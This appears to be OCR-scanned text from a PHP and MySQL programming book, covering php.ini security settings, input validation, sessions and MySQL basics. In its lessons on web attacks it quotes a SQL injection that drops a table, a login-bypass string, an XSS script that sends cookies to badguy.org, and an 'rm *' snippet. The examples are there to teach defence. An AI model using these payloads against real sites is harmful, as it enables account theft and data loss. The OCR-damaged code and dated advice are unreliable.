Book IV
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Setting Security Options in php.ini

The php. ini file has a number of security-related options. Table 5-1
explains the recommended setting for each option. See Book VII, Chapter 1
for more information on the php.ini file.

Table 5-1 Recommended Security Settings for php.ini
Option Description
safe_mode = on Limits PHP scripts to accessing only files

owned by the same user that the script
runs as, preventing directory traversal
attacks.

safe_mode_gid = off This setting, combined with safe_mode,
allows PHP scripts access only to files
for which the owner and group match the
user/group that the scriptis run as.

open_basedir = directory When this parameter is enabled, the PHP
script can access only files located in the
specified directories.

expose_php = off Prevents PHP from disclosing information
about itself in the HTTP headers sent to
users.

register_globals = off If this parameter is enabled, all environ-

ment, GET, POST, cookie, and server
variables are registered as globals,
making them easily available to attackers.
Unless you have no other options but to
enable it, you should leave register_
globals off.

display_errors = off Prevents PHP errors and warnings from
being displayed to the user. Not only do
PHP warnings make your site look unpro-
fessional, but they also often reveal sensi-
tive information, such as pathnames and
SQL queries.

log_errors = on When this parameter is enabled, all warn-
ings and errors are written to a log file in
which you can examine those warnings
and errors later.

error_log = filename Specifies the name of the log file to which
PHP should write errors and warnings.
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Handling Errors Safely

In an ideal world, when you create a form that asks users to type in their first
name, you can reasonably expect that they will enter something like John

or Jane. Unfortunately, you also get users who leave the form blank, type in
their address, or simply enter a random string of characters. And those are
the benign users. Attackers enter things into your form for nefarious purposes.
Consider the following information on how the bad guys operate and how to
stay one step ahead of them.

Understanding the dangers

Attackers use different methods to put your website at risk. One type of
attack is called SQL injection. In this attack, an attacker assumes that the
information collected in a form is going to be used in a SQL query and exe-
cuted against your database. The attacker types characters into your form
field that can cause you problems when used in a query.

For example, the attacker might enter something like John; drop%20
table%20users. If your application is set up to enter users’ names into the
database, your SQL query would look something like

INSERT INTO users VALUES (John; drop table users);

Depending on your server configuration, the server might read that query
and merrily go about dropping the users table from your database. It might
complain about the syntax a little, but if you have a loose database configu-
ration, it will do exactly what that line of code tells it to: Add “John” to the
users table, and then drop the table named users. Not good.

In another example of SQL injection, characters are entered into the user-
name field of a form to bypass authentication. Suppose the user types the
following characters into the username field:

John' OR 'foo' = 'foo' -- Book IV
Chapter 5
Your script might contain the following statement to test the username and
password:
$sgl = "SELECT * FROM User WHERE userID = 'S$_POST[userID]'
AND password = 'S$_POST[password]'";

If you insert the code that the user types in, without changing it, you have
the following SQL query:
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$sgl = "SELECT * FROM User WHERE username = 'John' OR 'foo' =
'foo' -- ' AND password = 'S$_POST[password]'";
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This query allows the user to log in without a valid username or password. In
the first phrase in the WHERE clause, the foo = foo is true. Then, the --
makes the rest of the query into a comment, effectively invisible in the
query. Consequently, this query always matches a row.

Another type of dangerous form input is when the attacker enters a script
into your form field. For instance, the attacker might enter the following into
a form field:

<script>document.location="http://badguy.org/bad.php?cookies="
+ document.cookie </script>

If you store this text and then send it to someone who visits your website,
your visitor will send the cookies related to your application to the bad guy.
Another bad script might be the following:

<script language=php eval (rm *); </script>

Testing for unexpected input

You can make a couple of pretty accurate assumptions about the data you
expect the user to enter. For instance, when you ask for a name, you expect
the following to be true:

4+ The data is alphabetical — no numbers.

4+ The name might have a space, an apostrophe, or a hyphen, such as
Mary Jane, O’Hara, or Anne-Marie.

4+ The data certainly doesn’t include HTML tags or other bits of code.

These assumptions are the keys to testing for unexpected input. Pass the
input through a regular expression by using PHP’s preg_match () function
to determine whether it contains any nonalphabetical characters, other than
a space, an apostrophe, or a hyphen.

Regular expressions (or regexes, for short) are the essence of all input testing.
Refer to Chapter 2 of this minibook for an explanation of regular expressions.

You need to do more than sanitize user input though. If you reflect any input
back to the user, such as a confirmation screen, you must also sanitize HTML
generated by your application and sent to the user. A malicious user can
inject markup into your application to entice another user into clicking a link
that takes him or her (unknowingly) away from your site to a phishing clone.

To prevent this type of attack — it’s often referred to as user hijacking or
cross site scripting — use htmlentities () on any value you plan to use to
render HTML, as shown in this example:
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"<b>Hello World</b>";
htmlentities ($SinputString) ;

SinputString
Ssafe_string

In this example, $safe_string would contain the following character string:
&lt;b&gt;Hello World&lt; /b&gt;

A better solution is to use the preg_match again and make sure there are
no unexpected characters in the input. Why bother allowing users to put
HTML into their input? In other words, if you notice characters other than
those allowed, simply error out and present the user with a message indicat-
ing that his or her input was not valid, as discussed in the next section.

Handling the unexpected

Most of the time, you test your user’s input, and it passes through your
regular expressions without a hitch. But what do you do when something
goes wrong?

The simplest way to handle unexpected input is to stop the application com-
pletely. However, even though this method will stop bad data from getting
into your application, it can also cause confusion and frustration for legitimate
users who simply mistyped their information.

Therefore, a better solution is to return the user to the input screen and ask
him or her to try again. You can make the system more user friendly by letting
the user know which fields caused problems. Book VI, Chapter 3, shows how
to process forms, redisplaying the form when invalid data is entered in the
form fields.

If your tests catch something that looks like malicious activity, you might
want to take additional steps, such as writing to the log file, notifying the
administrator, or even blocking the IP address from which the offending
input originated.

Checking all form data

Check all the information in your form, including any information that the user
selects from lists, check boxes, or radio buttons. These fields can contain
bad information as well.

How does bad data get sent in from a drop-down or radio button? Easy. There
are browser plug-ins that enable the values from GET and POST data right
after the Submit button is clicked. So malicious people could simply change
any of the values to whatever they wanted.

Book IV
Chapter 5
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The key for all of it is to validate what you expect to receive against what
you actually received. You can check your list variables with regular expres-
sions. For instance, the following regular expression matches only the speci-
fied text:

preg_match("/ (male|female) /")

Sanitizing Variables

3

Sometimes, telling users to go back and try again when they fail to enter
valid data simply isn’t an option. When you have to make do with what the
user gives you, you can use a couple of techniques to make sure that bad
data doesn’t break your application — or, worse, the underlying systems
that support your application, such as e-mail transport and the operating
system. The following sections tell you how to prevent bad user input from
mucking up the works.

Converting HTML special characters

Sometimes, you want to allow users to enter HTML into your application. A
blog comment system, for example, usually allows users to post hyperlinks.
But you don’t have to open your application to just anything that users
might want to put in.

If you allow users to enter HTML, you should always convert HTML special
characters to HTML entities by using the htmlentities () function. The
htmlentities () function takes the string to be converted as its argument.
The function then does a simple search-and-replace for the following HTML-
special characters:

4+ & (ampersand) becomes &amp; .

4+ " (double quote) becomes &quot;.

4+ ' (single quote) becomes &#039;.

4 < (less than) becomes &1t ;.

4 > (greater than) becomes &gt ;.
If you need to escape every character with special meaning in HTML,
use htmlentities () rather than htmlspecialchars (). See www.

w3schools.com/html/html_entities.asp for more information on
characters that have special meaning in HTML.


http://www.w3schools.com/html/html_entities.asp
http://www.w3schools.com/html/html_entities.asp

Sanitizing Variables 433

Uploading files without compromising
the filesystem

Most applications don’t need to upload files. These applications are more
secure if you do not allow files uploaded. You can prevent file uploading
with the file_uploads setting in your php. ini file. The setting is on by
default, as follows:

file_uploads = On
Change the setting to Of £ to prevent any file uploads in PHP scripts.

Some applications need to let users upload files. Unfortunately, this require-
ment also creates the potential for serious security problems. Malicious
users can

4+ Launch Denial of Service (DoS) attacks.
4+ Overwrite existing files.

4 Place malicious code on the server for later use.

Because of the open nature of web applications, you can’t completely secure
file upload functionality within your application, but you can mitigate the
dangers.

Avoiding DoS attacks on the filesystem

File uploads create the potential for DoS attacks because malicious users
can upload extremely large files and use all available resources in the file-
system in the process. Uploading large files can effectively bring the server
down by preventing it from writing temporary files or virtual memory swap
files. You can limit file sizes in php . ini, but doing so doesn’t prevent a
scripted attack that tries to upload hundreds of 2MB files every second.

You should certainly place limits on file sizes in php.ini. You should also
create a separate filesystem specifically for uploaded files. This separate
system keeps any mischief locked away from the rest of the server. The
upload filesystem might fill up with junk files, making the file upload func-
tionality of your application unavailable — but at least the entire server
wouldn’t crash.

Validating files

After a file is uploaded, you should validate that it’s a legitimate file. Although
you might not be able to weed out every malicious upload, you can cut down
on the most obvious ones. Here are a few ways you can validate files:

Book IV
Chapter 5
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4+ Verify the filename extension. This check isn’t the most robust test
(because someone can easily rename a file with a new extension), but
it’s simple to do and can catch some of the less-sophisticated crackers
who try to upload files such as spam_sender . php by using your image
upload function.

4+ Test for the basic file type you’re expecting. For example, if you're
expecting images, you can use the is_binary () function to weed out
text files, such as PHP scripts, as shown in the following example:

Sinput = $_POST['input_file'];
if (is_binary(Sinput)) {
// proceed as normal
}else {
// reject the file, redirect the browser, etc.

}

4 Run the file through an antivirus utility such as F-Prot (available at
www. f-prot . com).

Using FTP functions to ensure safe file uploads

It’s fairly common for web applications to allow users to upload files for one
reason or another. For instance, some message boards allow users to upload
small images or avatars that are shown next to each of that user’s posts.
Other applications allow you to upload data files for analysis. You could use
PHP’s built-in fopen () function, which automatically opens a stream to a
file or URL that allows users to upload files. Unfortunately, this method is
ripe for exploitation by malicious users who can use it to upload files from
remote servers onto your web server.

Preventing this type of exploitation requires you to disable two settings in
php.ini:register_globals and url_fopen. Disabling these settings
prevents users from using PHP’s built-in file upload without you explicitly
enabling that functionality.

After you disable these two functions in php. ini, you still need to allow
users to upload files. Use PHP’s FTP function set, a much more secure
method than fopen (), to allow users to upload files.

You can use the FTP functions fairly intuitively. First, you establish a connec-
tion, then you upload the files you need, and finally, you close the connec-
tion. Listing 5-1 shows how to use the FTP functions in PHP:


http://www.f-prot.com/
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Listing 5-1: Using Basic FTP Functions

<?php

// set up basic connection
Sconnection_id = ftp_connect ($ftp_server) ;

// login with username and password
Slogin_result = ftp_login(Sconnection_id, S$ftp_username,
$Sftp_password) ;

// check connection
if ((!$connection_id) || (!S$login_result)) {
echo "FTP connection has failed!";
echo "Attempted to connect to $ftp_server for user
$ftp_username";
exit;
} else {
echo "Connected to $ftp_server, for user S$Sftp_
username";

}

// upload the file
Ssupload = ftp_put(Sconnection_id, S$destination_file, $source_
file, FTP_BINARY) ;

// check upload status
if (!$upload) {
echo "FTP upload has failed!";
} else {
echo "Uploaded S$source_file to $ftp_server as
Sdestination_file";

}

// close the FTP stream
ftp_close(Sconn_id) ;
?>

Book IV

Here are the most common FTP functions and their arguments: Chapter 5

4 ftp connect( string $host [, int $port [, int $timeout
11 ):Connect to the FTP server — in this case, your web server.

4 ftp login( resource $ftp stream, string Susername,
$string password ): Send login credentials to the FTP server.

4 ftp put( resource $ftp stream, string $remote file,
string $local_file, int $mode [, int $startpos] ):Puta
file from the local machine to the server.
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4 ftp_get( resource $ftp stream, string $local_file,
string $remote file, int $mode [, int $resumepos] ): Get
a file from the server and send it to a local machine.

4 ftp_close( resource $ftp_stream ): Close the connection to the
o NG/ server.

You need to close the FTP stream as soon as you're finished with it; other-
wise, you have an open connection that’s vulnerable to hijacking.



Chapter 0: Tracking Uisitors
with Sessions

In This Chapter

+~ Understanding sessions and cookies

v+~ Using sessions

Fis chapter looks at PHP’s built-in method for keeping track of visitors
across multiple pages, called a session. The chapter starts out with an
introduction to sessions and cookies and then jumps straight in by showing
you how to use sessions to track visitors.

Understanding Sessions and Cookies

You’ve undoubtedly seen websites that track who you are, possibly welcom-
ing you after you log in or presenting you with custom information about
your account after logging in. There are a couple ways to do this, including
sending the data along in a form with every request. But that isn’t secure
and isn’t nearly flexible enough for today’s web applications. Luckily,
there’s a better way — and it’s right at your fingertips: sessions.

Looking at sessions

A session in PHP is a secure way to track a user from page to page. With a
session, you can store information about users, such as their e-mail address,
name, phone number, and whatever other details you have, and automatically
fill in that information wherever it’s needed on the site. For example, say
that on login you load the user’s first name and e-mail address from your
user database. You can store that information in a session, essentially
hidden from the user, until you use it.

You use session variables as you would any other variables. Behind the
scenes, sessions are stored in an array called $_SESSION. You store values
just as you would with a named array in PHP. For example, you can keep
track of an e-mail address and name like this:

$_SESSION|['emailAddress'] = "me@example.com";
$_SESSION|['firstName'] = "Steve'";
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You can also use sessions to keep track of information filled in on a web form
without having to carry that information through the site in hidden form
variables.

Working with cookies

Sessions are passed in browser cookies, which are little extra bits of informa-
tion that get sent to and from a web browser. The actual bits of information,
or what those bits actually are, is up to you, the programmer. For instance,
you could send a cookie that contains the user’s name. The cookie could then
be stored on the user’s computer and the next time she visits the site, the
cookie would be sent to your program, which would then present a person-
alized greeting.

However, cookies are like any other data that you get from a user — the data
from cookies needs to be sanitized (as we discuss in the preceding chapter)
because it can’t be trusted. In other words, once your program sends a cookie
to a visitor’s browser, the visitor can edit or change that cookie to be any-
thing he wants. So if you (the web developer) are using the cookie to store

a username, the visitor can change the username to whatever he wants and
then send it back to your program.

The possibility of users editing their cookies is largely solved by simply
using sessions. When a session cookie is created, it uses a hash value,
which is a long string of characters. This means that even if users change
the cookie value, in other words, if they change that hash, they aren’t really
changing anything that you're using in your program directly.

Instead, PHP handles the translation of that hash from the cookie on your
behalf, and then you can get on with the business of using things in the $_
SESSION array, as explained earlier. The actual values that you store in the
$_SESSION array are never seen by the user; they exist only on the server.

Of course, using sessions with cookies means that cookies need to be
enabled in the user’s browser. If they aren’t, then the user can’t use the
application. Therefore, the logical place to continue this discussion is by
showing how to check if cookies are enabled.

Checking if cookies are enabled

You use the setcookie () function in PHP to set a cookie in the browser.
Then if your program can read that cookie, you know that cookies are
enabled. The setcookie () function accepts several arguments to define
the behavior of the cookie. For example, you set the name of the cookie, but



Figure 6-1:

Checking if
cookies are
enabled.
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you can also set how long the cookie will be active and whether it will be
used over secure connections only, along with several other options.

For our purposes, we simply set the name of the cookie and a value. You can
follow these steps to check if cookies are enabled in your browser.

1. Open your text editor and create a new empty file.

2. Within the file, enter the following code:

<?php
if (isset (S_GET['cookiecheck']l)) {
if (isset (S_COOKIE['testcookie']l)) {
print "Cookies are enabled";
} else {
print "Cookies are not enabled";
}
} else {
setcookie('testcookie', "testvalue");
die (header ("Location: " . $_SERVER['PHP_SELF']

"?cookiecheck=1")) ;

}

?>
3. Save the file as cookie.php in your document root.

4. Point your web browser toward http://localhost/cookie.php
and you’ll see a page like the one in Figure 6-1.

I wgmwmwmﬁpvﬁcxugu |

Cookies are enabled
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Figure 6-2:
Showing
that cookies
are not
enabled.

If cookies aren’t enabled in your browser, you’'ll see a page like that in
Figure 6-2.

Il | & hitpifitifdibdcs O~ B G X || 2u |

Cookies are not enabled

Note: If you'd like to test the page with cookies disabled, you can do so.
First, close the browser and then reopen it (without going to the cookie.
php page). In Internet Explorer, go to Internet Options. On the Privacy tab,
slide the Settings slider up to block all cookies. In Firefox, go to Options, and
select the Privacy tab. Within the History section, select Use custom settings
for history and then uncheck the “Accept cookies from sites” check box.
Now load the cookie.php page.

Now that you know that cookies are enabled you can safely begin to use
sessions.

Using Sessions to Pass Data

With cookies enabled, which they usually are in most browsers, you can
begin to use sessions to store data between pages of your PHP application.

Starting a session

The key to using sessions is the session_start () function. You call

session_start () on every page and subsequently have access to all the
items in the $_SESSION array.
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It might seem like a bit of an odd name for the function, session_start (),
because on most pages you really just want to continue the session and
access the variables that are there. But in reality, session_start () does
both: It starts a new session if need be and continues an existing session
where appropriate.

The session_start () function is called simply like this:
<?php

session_start () ;

// Other PHP statements here

?>

Here’s code for a few pages that track when you accessed the first page of
the application. This shows the use of the session_start () function and
then creation of a variable to hold the initial access time.

Listing 6-1 shows the code for the first page, called pagel . php.

Listing 6-1: Creating a Session Variable

<?php
session_start () ;

$_SESSION|['accessTime'] = date("M/d/Y g:i:sa");
print "This is page l<br />";

print "You accessed the application at: " . $_
SESSION|[ 'accessTime'];

print "<div><a href=\"page2.php\">Continue to next page</
a></div>";

?>

When viewed in a browser, the page looks like Figure 6-3.

Book IV
Chapter 6

SUOISSag YHUM
sioysip bunjoesy



442 Using Sessions to Pass Data

Figure 6-3:
Accessing
the first
page of the
application.

()| @ nttpyfifdrbacs O+ B & x|| S |

This i page 1
You accessed the application at: Oct/28/2012 12:01:07am
Contmue to next page

The next page in the application then starts the session and can access any
variables already set in the session. Listing 6-2 shows code for the second
page, page?2.php.

Listing 6-2: The Second Page Accessing Session Variables

<?php
session_start () ;
print "This is page 2<br />";

print "You accessed the application at: "
$_SESSION|['accessTime'];

print "<div><a href=\"page3.php\">Continue to next page</a></
div>" ;

?>

Notice in the code in Listing 6-2 that the variable $_

SESSION|[ 'accessTime'] is not set again, but merely accessed after the
session is started. When you're on pagel . php and click the link to go to the
next page, you get a page like that in Figure 6-4.



Figure 6-4:
Accessing
the second
page of the
application.
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Q‘? )| @ hpssidrbacs O~ B O x|| Sw |

This i page 2
You accessed the application at: Oct/28/2012 12:01:07am
Confinue to next page

You can store just about anything in a session, but you should be aware that
session can, and sometimes does, disappear for a variety of reasons. One
reason a session might disappear is that it times out. If users sit on a page
for too long, the session might not be there when they begin using the appli-
cation again.

In Book VII, you see how to change the session timeout value. However, even
if you change the session timeout, the session can still go away. For example,
if users clear their cookies in the middle of a session, then the session
cookie will disappear and a new one will be started.

The practical implication of session disappearance is that any variables
you've previously set will also disappear. Therefore, it’s good practice to
check if the session contains the values that you expect prior to using them.
There are a couple ways to do this. One way would be to check all variables
prior to accessing them. For example, you could change Listing 6-2 to check
for the $_SESSION[ 'accessTime'] variable prior to using it in output.
Listing 6-3 shows what that would look like.

Listing 6-3: Checking if a Session Variable is Set before Using It

<?php

session_start () ;

if (!isset($_SESSION|['accessTime'])) {
die (header ("Location: pagel.php")):;

}

print "This is page 2<br />";
(continued)
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Listing 6-3 (continued)

print "You accessed the application at: " . $_
SESSION|[ 'accessTime'];

print "<div><a href=\"page3.php\">Continue to next page</a></
div>";

?>
Listing 6-3 added the following code:

if (!isset ($_SESSION|['accessTime'])) {
die (header ("Location: pagel.php"));
}

The location of that code is important. Because that code needs to send an
HTTP header, it needs to appear prior to any other output. So for instance,
if that code appeared below the “This is page 2” output, it wouldn’t work
because the headers have already been sent. The code appears prior to any
output but also importantly, appears after the session_start () function.

Best practice is to check for the existence of session variables before you
use them, as just shown. However, it can get quite cumbersome to check
all the variables that you might use in a big application. With that in mind,
another option is to set a global session variable and check for its existence
rather than each variable individually. Here’s how to do that.

Listing 6-4 shows an updated version of the Listing 6-1, pagel . php. In this
code, there’s a single addition, a new session variable called appStarted.

Listing 6-4: Adding a Global Variable for Session

<?php

session_start();

$_SESSION[ 'appStarted'] true;
S_SESSION]|['accessTime'] = date("M/d/Y g:i:sa");
print "This is page 1l<br />";

print "You accessed the application at: " . $_
SESSION|['accessTime'];

print "<div><a href=\"page2.php\">Continue to next page</a></
div>";
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You can then change other pages in the application to check for the exis-
tence of this variable, as in the change noted in Listing 6-5.

Listing 6-5: Checking for the Global Session Variable

<?php
session_start () ;

if (!isset ($_SESSION|'appStarted'])) {
die (header ("Location: pagel.php"));
}

print "This is page 2<br />";

print "You accessed the application at: " . $_
SESSION|[ 'accessTime'];

print "<div><a href=\"page3.php\">Continue to next page</a></
div>";

?>

Closing a session

Now you know how to start a session, but how do sessions get closed? The
long and short of it is that sessions close at the end of the PHP program.
This means that you don’t need to do anything explicit in order to close
sessions.

Using session_whrite_close ()

There are certain situations where you do in fact need to explicitly close the
session. This might be the case if two programs or two sections of a program
need to write to the session at the same time — or if you're using a redirect
and the server doesn’t quite get the session closed in time before the next
page tries to pick up the session. In either case, the session_write_
close () function will write the session parameters to the server and close
or end the session. You call session_write_close () justlike session_
start () ;

session_write_close();
Any attempt to write a session variable after session_write_close () has

been called may result in an error or may fail silently, depending on your
PHP configuration.

Book
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Understanding Other Session Options

Several options are available when working with sessions in PHP, many of
which you’ll never encounter and others that you’ll encounter in special
situations. Table 6-1 lists some of the options.

Table 6-1 Selecting Session Options

Option Description

session_id Obtain the current session identifier or set one.
session_name Obtain the current session name or set one.
session_destroy Unset all variables from the current session.

Book VI shows the use of session_destroy in order to provide logout
functionality on a website.

You can read about other session-related functions on the PHP website at
www . php .net/manual /book.session.php.


http://www.php.net/manual/book.session.php

BookV
MySQL

MySOL Account Privileges

Privilege Description

ALL All privileges

ALTER Can alter the structure of tables
CREATE Can create new databases or tables
DELETE Can delete rows in tables

DROP Can drop databases or tables

FILE Can read and write files on the server
GRANT Can change the privileges on a MySQL account
INSERT Can insert new rows into tables
SELECT Can read data from tables
SHUTDOWN Can shut down the MySQL server
UPDATE Can change data in a table

USAGE No privileges

web

extras

For more info on MySQL, go to www . dummies . com/extras/phpmysqgl

javascripthtml5aio.
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Chapter 1: Introducing MySOL

In This Chapter

v+ Discovering how MySQL works

1 Communicating with MySQL
v Securing data stored in MySQL

M any dynamic websites require a backend database. The database can
contain information that the web pages display to the user, or the
purpose of the database might be to store information provided by the user.
In some applications, the database both provides available information and
stores new information.

MySQL, the most popular database for use in websites, was developed to be
fast and small, specifically for websites. MySQL is particularly popular for
use with websites that are written in PHP, and PHP and MySQL work well
together.

This chapter provides an introduction to MySQL, and explains how it works
and how you can communicate with it. As discussed in Book IV, Chapter 3,
much of this information also applies to the SQLite database introduced in
that chapter.

Examining How MySOL Works

The MySQL software consists of the MySQL server, several utility programs
that assist in the administration of MySQL databases, and some supporting
software that the MySQL server needs (but you don’t need to know about).
The heart of the system is the MySQL server.

The MySQL server is the manager of the database system. It handles all your
database instructions. For instance, if you want to create a new database, you
send a message to the MySQL server that says, for instance, “create a new
database and call it newdata.” The MySQL server then creates a subdirectory
in its data directory, names the new subdirectory newdata, and puts the nec-
essary files with the required format into the newdata subdirectory. In the
same manner, to add data to that database, you send a message to the MySQL
server, giving it the data and telling it where you want the data to be added.
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Before you can pass instructions to the MySQL server, it must be running
and waiting for requests. The MySQL server is usually set up so that it starts
when the computer starts and continues running all the time. This is the
usual setup for a website. However, it isn’t necessary to set it up to start
when the computer starts. If you need to, you can start it manually whenever
you want to access a database. When it’s running, the MySQL server listens
continuously for messages that are directed to it. Installing and starting the
MySQL server are discussed in Book I, Chapter 4.

Understanding Database Structure

MySQL is a Relational Database Management System (RDBMS). Your MySQL
server can manage many databases at the same time. In fact, many people
might have different databases managed by a single MySQL server. Each
database consists of a structure to hold the data and the data itself. A data-
base can exist without data, only a structure, be totally empty, twiddling its
thumbs and waiting for data to be stored in it.

Data in a database is stored in one or more tables. You must create the data-
base and the tables before you can add any data to the database. First you
create the empty database. Then you add empty tables to the database.

Database tables are organized like other tables that you're used to — in
rows and columns. Each row represents an entity in the database, such as a
customer, a book, or a project. Each column contains an item of information
about the entity, such as a customer name, a book name, or a project start
date. The place where a particular row and column intersect, the individual
cell of the table, is called a field.

Tables in databases can be related. Often a row in one table is related to
several rows in another table. For instance, you might have a database
containing data about books you own. You would have a book table and an
author table. One row in the author table might contain information about
the author of several books in the book table. When tables are related, you
include a column in one table to hold data that matches data in the column
of another table.

Only after you've created the database structure can you add data. More
information on database structure and instructions for creating the structure
is provided in Chapter 3 of this minibook.

Communicating with MySOL

All your interaction with the database is accomplished by passing messages
to the MySQL server. The MySQL server must be able to understand the
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instructions that you send it. You communicate using Structured Query
Language (SQL), which is a standard computer language understood, at least
in some form, by most database management systems.

To make a request that MySQL can understand, you build a SQL statement
and send it to the MySQL server. The following sections tell you how to do
that.

Building SOL queries

SQL is almost English; it’s made up largely of English words, put together into
strings of words that sound similar to English sentences. In general (fortu-
nately), you don’t need to understand any arcane technical language to write
SQL queries that work.

The first word of each statement is its name, which is an action word (a
verb) that tells MySQL what you want to do. The statements that we discuss
in this minibook are CREATE, DROP, ALTER, SHOW, INSERT, LOAD, SELECT,
UPDATE, and DELETE. This basic vocabulary is sufficient to create — and
interact with — databases on websites.

The statement name is followed by words and phrases — some required and
some optional — that tell MySQL how to perform the action. For instance,
you always need to tell MySQL what to create, and you always need to tell it
which table to insert data into or to select data from.

The following is a typical SQL statement. As you can see, it uses English words:
SELECT lastName FROM Member

When a statement uses SELECT, it’s known as a query, because you're
querying the database for information. This query retrieves all the last
names stored in the table named Member. More complicated queries, such
as the following, are less English-like:

SELECT lastName, firstName FROM Member WHERE state="CA" AND
city="Fresno" ORDER BY lastName

This query retrieves all the last names and first names of members who live
in Fresno and then puts them in alphabetical order by last name. Although
this query is less English-like, it’s still pretty clear.

Here are some general points to keep in mind when constructing a SQL
statement, as illustrated in the preceding sample queries:

4+ Capitalization: In this book, we put SQL language words in all caps;
items of variable information (such as column names) are usually given
labels that are all or mostly lowercase letters. We did this to make it

Book V
Chapter 1
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easier for you to read — not because MySQL needs this format. The case
of the SQL words doesn’t matter; for example, select is the same as
SELECT, and from is the same as FROM, as far as MySQL is concerned.

On the other hand, the case of the table names, column names, and
other variable information does matter if your operating system is Unix
or Linux. When you’re using Unix or Linux, MySQL needs to match the
column names exactly, so the case for the column names has to be cor-
rect — for example, lastname isn’t the same as 1astName. Windows,
however, isn’t as picky as Unix and Linux; from its point of view,
lastname and lastName are the same.

Spacing: SQL words must be separated by one or more spaces. It
doesn’t matter how many spaces you use; you could just as well use 20
spaces or just 1 space. SQL also doesn’t pay any attention to the end of
the line. You can start a new line at any point in the SQL statement or
write the entire statement on one line.

Quotes: Notice that CA and Fresno are enclosed in double quotes (")

in the preceding query. CA and Fresno are a series of characters called
text strings, or character strings. You're asking MySQL to compare the text
strings in the SQL query with the text strings already stored in the data-
base. When you compare numbers (such as integers) stored in numeric
columns, you don’t enclose the numbers in quotes. (In Chapter 3 of this
minibook, we explain the types of data that you can store in a MySQL
database.)

We discuss the details of specific SQL queries in the sections of the book
where we discuss their uses. For instance, in Chapter 3 in this minibook, we
discuss the CREATE query in detail when we cover the details of creating the
database structure; we also discuss the INSERT query when we tell you how
to add data to the database.

Sending SOL queries
You can send a SQL query to MySQL several ways. In this book, we cover the
following two methods of sending queries:

+*

+

The mysql client: When you install MySQL, a text-based mysq]l client is
automatically installed. This simple client can be used to send queries.

PHP built-in functions: You communicate with a MySQL database from
PHP scripts by using PHP built-in functions designed specifically for this
purpose. The functions connect to the MySQL server and send the SQL
query. Accessing MySQL databases from PHP scripts is discussed in
detail in Chapter 5 of this minibook.
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Using the mysql client

When MySQL is installed, a simple, text-based program called mysql (or
sometimes the command line interface or the CLI) is also installed. Programs
that communicate with servers are client software; because this program
communicates with the MySQL server, it’s a client. When you enter SQL
queries in this client, the response is returned to the client and displayed
onscreen. The monitor program can send queries across a network; it
doesn’t have to be running on the machine where the database is stored.

This client is always installed when MySQL is installed, so it’s always avail-
able. It’s quite simple and quick if you know SQL and can type your queries
without mistakes.

To send SQL queries to MySQL from the mysq]l client, follow these steps:

1. Locate the mysql client.

By default, the mysq]l client program is installed in the subdirectory bin,
under the directory where MySQL is installed. In Unix and Linux, the
default is /usr/local/mysgl/binor /usr/local/bin. In Windows,
the default is ¢: \Program Files\MySQL\MySQL Server 5.0\bin.
However, the client might be installed in a different directory. Or, if you
aren’t the MySQL administrator, you might not have access to the mysql
client.

If you don’t know where MySQL is installed or can’t run the client, ask
the MySQL administrator to put the client somewhere where you can
run it or to give you a copy that you can put on your own computer.

2. Start the client.

In Unix and Linux, type the path/filename (for example, /usr/local/
mysqgl/bin/mysgl). In Windows, open a command prompt window
and then type the path\filename (for example, c:\ Program Files\
MySQL\MySQL Server 5.0\bin\mysqgl). This command starts the
client if you don’t need to use an account name or a password. If you
need to enter an account or a password or both, use the following
parameters:

® -u user: user is your MySQL account name.

e -—p: This parameter prompts you for the password for your MySQL
account.

For instance, if you're in the directory where the mysql client is located,
the command might look like this:

mysgl -u root -p

Book V
Chapter 1
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3.
4.
5.
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6.
7.

If you're starting the mysql client to access a database across the net-
work, use the following parameter after the mysql command:

-h host, where host is the name of the machine where MySQL is
located.

For instance, if you're in the directory where the mysql client is located,
the command might look like this:

mysgl -h mysglhost.mycompany.com -u root -p
Press Enter after typing the command.
Enter your password when prompted for it.

The mysql client starts, and you see something similar to this:
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 459 to server version: 5.0.15
Type 'help;' or '\h' for help. Type '\c' to clear the buffer.
mysql>

Select the database that you want to use.

At the mysgl prompt, type the following:
use databasename

Use the name of the database that you want to query.

Some SQL statements, such as SHOW DATABASES, don’t require that you
select a database. For those statements, you can skip Step 5.

At the mysqgl prompt, type your SQL statement followed by a semico-
lon (;) and then press Enter.

If you forget to type the semicolon (;) at the end of the query, the mysql
client doesn’t execute the statement. Instead, it continues to display the
prompt (mysg>) until you enter a semicolon.

The response to the statement is displayed onscreen.

To leave the mysql client, type quit at the prompt and then press Enter.

You can use the mysq]l client to send a SQL statement that you type yourself,
and it returns the response to the statement.

Protecting Your MySOL Databases

You need to control access to the information in your database. You need to
decide who can see the data and who can change it. If a bad guy gets a list
of your customers’ private information (such as credit card numbers), you
clearly have a problem. You need to guard your data.
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MySQL provides a security system for protecting your data. The system Book V
includes the following: Chapter 1

4+ MySQL accounts: No one can access the data in your database without
an account. The account has a name the user must use. The account can
also have a password that users must provide before they access the
account. In addition, each account specifies where you can access the
data from, such as only from the current computer or only from a spe-
cific domain.

T0SAW Butonponuj

4+ Permissions: MySQL uses account permissions to specify who can do
what. Anyone using a valid account can connect to the MySQL server,
but he or she can do only those things that are allowed by the permis-
sions for the account. For example, an account might be set up so that
users can select data but cannot insert or update data. Or, an account
might be set up so that it can change the data in a specific table, but can
only look at the data in another table.

You can create and delete accounts, add and change passwords, and add
and remove permissions with SQL queries. You can send the SQL queries
with either of the methods described in the preceding section. You can also
manage your MySQL accounts with features provided by phpMyAdmin. We
describe administering your MySQL databases in Chapter 2 of this minibook.



456 Book U: MySOL



Chapter 2: Administering MySQL

In This Chapter

v+ Administering MySQL

v~ Establishing and controlling access to data
+ Creating and managing accounts

v+~ Backing up and restoring databases

v Getting the newest version of MySQL

A s discussed previously, MySQL is database management software.

It manages databases that contain the information you need for the
dynamic website that you are building. Your goal is to store data in a data-
base or retrieve data from the database. You can store and retrieve data
directly (see Chapters 3 and 4 of this minibook) or store and retrieve data
from PHP scripts (see Chapter 5 of this minibook). In addition, a MySQL
administrator is required to ensure that MySQL performs its work correctly
and efficiently.

We describe MySQL administration in this chapter. In the first few sections
of this chapter, we give you the preliminary information you need to know
about MySQL administration and how you can control access to your data
with account names, hostnames, and passwords. Later, we give you specific
information on how to add accounts and change passwords and privileges.
Backing up and restoring the database are also important administrative
tasks, and we tell you how to do that in this chapter as well. Finally, as a
MySQL administrator, you'll also need to make sure that you're using the
latest version of MySQL, and we discuss that in the final section of this
chapter.

Understanding the Administrator Responsibilities

Administering MySQL encompasses the tasks required to ensure that
